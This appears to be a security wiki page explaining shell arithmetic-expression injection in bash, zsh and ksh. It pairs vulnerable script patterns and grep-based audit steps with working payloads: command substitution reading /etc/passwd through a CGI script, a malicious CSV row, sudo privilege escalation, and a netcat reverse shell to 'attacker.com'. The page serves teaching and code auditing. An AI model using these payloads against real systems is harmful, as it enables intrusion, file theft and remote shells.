# Shell Arithmetic Expression Exploitation

{% hint style="info" %} <mark style="color:red;">**`Affected Shells`**</mark><mark style="color:purple;">**:**</mark> <mark style="color:orange;">**`bash`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`zsh`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`ksh`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`pdksh`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`mksh`**</mark>
{% endhint %}

<details>

<summary><mark style="color:purple;"><strong><code>Technical Analysis</code></strong></mark></summary>

<mark style="color:purple;">When a variable is declared as an integer type or used in arithmetic contexts, shells don't just evaluate the value as a number they evaluate it as an</mark> <mark style="color:orange;">**`arithmetic expression`**</mark><mark style="color:purple;">. This includes:</mark>

* <mark style="color:purple;">Mathematical operators (</mark><mark style="color:orange;">**`+`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`*`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`/`**</mark><mark style="color:purple;">)</mark>
* <mark style="color:purple;">Assignment operators (</mark><mark style="color:orange;">**`=`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`+=`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-=`**</mark><mark style="color:purple;">)</mark>
* <mark style="color:purple;">Array subscripts with command substitution:</mark> <mark style="color:orange;">**`array[$(command)]`**</mark>

{% code title="The key exploitation primitive is that array subscripts can contain command substitutions and this is valid arithmetic expression syntax:" overflow="wrap" %}

```shellscript
x[$(whoami)]=value
```

{% endcode %}

{% hint style="info" %} <mark style="color:red;">**`Integer Variable Declaration`**</mark>

{% code title="Integer Variable Declarations" overflow="wrap" %}

```bash
typeset -i n
declare -i n
n="$user_input"
```

{% endcode %}

<mark style="color:purple;">The variable is to be treated as an integer; arithmetic evaluation is performed when the variable is assigned a value.</mark>

{% code title="Exploit:" overflow="wrap" %}

```shellscript
./script.sh 'x[$(whoami>&2)]'
```

{% endcode %}
{% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Arithmetic Expansion`**</mark>

{% code title="Arithmetic Expansion" overflow="wrap" %}

```bash
#!/bin/bash
result=$(( $user_input ))
# or
result=$[ $user_input ]
```

{% endcode %}

{% code title="Exploit:" overflow="wrap" %}

```bash
./script.sh 'x[$(cat /etc/passwd>&2)]'
```

{% endcode %}
{% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Comparison Operators in [[ ]]`**</mark>

{% code title="This is the sneaky one that looks safe:" overflow="wrap" %}

```shellscript
#!/bin/bash
if [[ "$user_input" -eq 100 ]]; then
    echo "OK"
fi
```

{% endcode %}

<mark style="color:purple;">Operators like</mark> <mark style="color:orange;">**`-eq`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-ne`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-lt`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-le`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-gt`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`-ge`**</mark> <mark style="color:purple;">inside</mark> <mark style="color:orange;">**`[[ ]]`**</mark> <mark style="color:purple;">trigger arithmetic evaluation of their operands.</mark>

{% code title="Exploit:" overflow="wrap" %}

```shellscript
curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://target/index.cgi
```

{% endcode %}
{% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Parameter Expansion`**</mark>

{% code title="offset and length evaluated as arithmetic" overflow="wrap" %}

```bash
${var:$offset:$length}
```

{% endcode %}
{% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Read Command`**</mark>

{% code title="Even reading from stdin triggers this:" overflow="wrap" %}

```shellscript
typeset -i n
read n    
```

{% endcode %}
{% endhint %}

{% hint style="warning" %} <mark style="color:purple;">The</mark> <mark style="color:orange;">**`>&2`**</mark> <mark style="color:purple;">redirects output to</mark> <mark style="color:orange;">**`stderr`**</mark> <mark style="color:purple;">so the command result doesn't</mark>\ <mark style="color:purple;">interfere with array indexing, while still being visible.</mark>
{% endhint %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>CGI Script Exploitation</code></strong></mark></summary>

{% code title="Vulnerable CGI:" overflow="wrap" %}

```shellscript
#!/bin/bash
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]]; then
    echo "OK"
else
    echo "NG"
fi
```

{% endcode %}

{% code title="Exploit Payload:" overflow="wrap" %}

```shellscript
curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://target/index.cgi
```

{% endcode %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>CSV Injection</code></strong></mark></summary>

{% code title="Vulnerable Script:" overflow="wrap" %}

```bash
#!/bin/bash
while IFS=, read item price num; do
    echo "$item,$((price*num))"
done < "data.csv"
```

{% endcode %}

{% code title="Malicious CSV Entry:" overflow="wrap" %}

```csv
product,100,x[$(whoami>&2)]
```

{% endcode %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Privilege Escalation via SUID/Sudo Scripts</code></strong></mark></summary>

{% code title="Vulnerable Code" overflow="wrap" %}

```shellscript
#!/bin/bash
typeset -i n
n="$1"
```

{% endcode %}

{% code title="Exploit" overflow="wrap" %}

```bash
sudo ./script.sh 'x[$(whoami>&2)]'
```

{% endcode %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Variable Overwrite</code></strong></mark></summary>

{% code title="Expected: Always prints 5" overflow="wrap" %}

```bash
#!/bin/bash
typeset -i n
a=5
n="$1"
echo "$a"
```

{% endcode %}

{% code title="The arithmetic expression a=10 was evaluated, overwriting the variable a" overflow="wrap" %}

```bash
./script.sh a=10
# Output: 10
```

{% endcode %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Detection Methodology</code></strong></mark></summary>

{% hint style="info" %} <mark style="color:red;">**`Step 1: Code Audit - Find Vulnerable Patterns`**</mark>

{% code title="Search for integer declarations" overflow="wrap" %}

```bash
grep -rn "typeset -i\|declare -i" /path/to/scripts/
```

{% endcode %}

{% code title="Search for arithmetic comparisons in \[\[]]" overflow="wrap" %}

```bash
grep -rn "\[\[.*-eq\|-ne\|-lt\|-le\|-gt\|-ge" /path/to/scripts/
```

{% endcode %}

{% code title="Search for arithmetic expansion" overflow="wrap" %}

```bash
grep -rn '\$((.*))' /path/to/scripts/
grep -rn '\$\[.*\]' /path/to/scripts/
```

{% endcode %}

{% code title="Search for parameter expansion with offsets" overflow="wrap" %}

```bash
grep -rn '\${[^}]*:[^}]*:[^}]*}' /path/to/scripts/
```

{% endcode %}
{% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Step 2: Trace User Input Flow`**</mark>

<mark style="color:purple;">Identify all entry points for user data:</mark>

* <mark style="color:purple;">Command-line arguments:</mark> <mark style="color:orange;">**`$1`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`$2`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`$@`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`$*`**</mark>
* <mark style="color:purple;">Environment variables:</mark> <mark style="color:orange;">**`$QUERY_STRING`**</mark><mark style="color:purple;">,</mark> <mark style="color:orange;">**`$HTTP_*`**</mark>
* <mark style="color:purple;">File input:</mark> <mark style="color:orange;">**`read`**</mark> <mark style="color:purple;">command</mark>
* <mark style="color:purple;">Stdin:</mark> <mark style="color:orange;">**`read`**</mark> <mark style="color:purple;">without</mark> <mark style="color:orange;">**`-r`**</mark> <mark style="color:purple;">flag</mark>
  {% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Step 3: Test with Proof-of-Concept`**</mark>

{% code title="Command execution" overflow="wrap" %}

```shellscript
'x[$(whoami>&2)]'
```

{% endcode %}

{% code title="Test 2: Variable overwrite" overflow="wrap" %}

```shellscript
'sensitive_var=999'
```

{% endcode %}

{% code title="Test 3: File read" overflow="wrap" %}

```shellscript
'x[$(cat /etc/passwd>&2)]'
```

{% endcode %}

{% code title="Test 4: Network connection" overflow="wrap" %}

```shellscript
'x[$(nc attacker.com 4444 -e /bin/bash)]'
```

{% endcode %}
{% endhint %}

{% hint style="info" %} <mark style="color:red;">**`Step 4: Verify Execution Context`**</mark>

{% code title="Check if running with elevated privileges" overflow="wrap" %}

```shellscript
sudo ./target_script 'x[$(id>&2)]'
```

{% endcode %}
{% endhint %}

</details>

{% embed url="<https://dev.to/greymd/eq-can-be-critically-vulnerable-338m>" %}
